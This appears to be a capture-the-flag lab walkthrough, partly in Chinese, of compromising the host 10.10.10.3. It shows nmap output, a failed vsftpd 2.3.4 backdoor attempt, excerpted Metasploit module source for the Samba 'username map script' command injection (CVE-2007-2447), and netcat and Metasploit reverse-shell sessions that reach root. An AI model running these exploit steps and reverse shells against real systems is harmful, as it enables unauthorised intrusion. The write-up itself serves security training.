Nmap scan report for 10.10.10.3 Host is up (0.0023s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 _ftp-anon: Anonymous FTP login allowed (FTP code 230) ftp-syst: STAT: FTP server status: Connected to 10.10.16.10 Logged in as ftp TYPE: ASCII No session bandwidth limit Session timeout in seconds is 300 Control connection is plain text Data connections will be plain text vsFTPd 2.3.4 - secure, fast, stable _End of status 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) _ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP)
Exploit target:
Id Name -- ---- 0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.3 rhosts => 10.10.10.3
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.10.3 yes The target address range or CIDR identifier RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description ---- --------------- -------- -----------
Exploit target:
Id Name -- ---- 0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4) [*] 10.10.10.3:21 - USER: 331 Please specify the password. [*] Exploit completed, but no session was created.
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB
# For our customized version of session_setup_ntlmv1 CONST = Rex::Proto::SMB::Constants CRYPT = Rex::Proto::SMB::Crypt
def initialize(info = {}) super(update_info(info, 'Name' => 'Samba "username map script" Command Execution', 'Description' => %q{ This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands.
No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 10040 $', 'References' => [ [ 'CVE', '2007-2447' ], [ 'OSVDB', '34700' ], [ 'BID', '23972' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ], [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => true, # root or nobody user 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', # *_perl and *_ruby work if they are installed # mileage may vary from system to system.. } }, 'Targets' => [ [ "Automatic", { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 14 2007'))
register_options( [ Opt::RPORT(139) ], self.class) end
def exploit
connect
# lol? username = "/=`nohup " + payload.encoded + "`" begin simple.client.negotiate(false) simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false) rescue ::Timeout::Error, XCEPT::LoginError # nothing, it either worked or it didn't ;) end
root@kali# nc -lnvp 443 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.3. Ncat: Connection from 10.10.10.3:55410. id uid=0(root) gid=0(root)
root@kali# nc -lnvp 443 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.10.10.3. Ncat: Connection from 10.10.10.3:44666. id uid=0(root) gid=0(root)
Metasploit
我也可以通过Metasploit来做到这点：
1 2 3 4 5 6 7 8 9
msf5 > use exploit/multi/samba/usermap_script msf5 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3 rhosts => 10.10.10.3 msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse payload => cmd/unix/reverse msf5 exploit(multi/samba/usermap_script) > set lhost tun0 lhost => 10.10.14.24 msf5 exploit(multi/samba/usermap_script) > set lport 443 lport => 443
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.10.3 yes The target address range or CIDR identifier RPORT 139 yes The target port (TCP)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.24 yes The listen address (an interface may be specified) LPORT 443 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic
当我执行完之后，它会提示我shell会话已经打开，直接在空白行执行命令即可：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
msf5 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP double handler on 10.10.14.24:443 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo zchdJVWjFG8sP3T3; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "zchdJVWjFG8sP3T3\r\n" [*] Matching... [*] A is input... [*] Command shell session 1 opened (10.10.14.24:443 -> 10.10.10.3:37959) at 2019-02-28 08:52:31 -0500
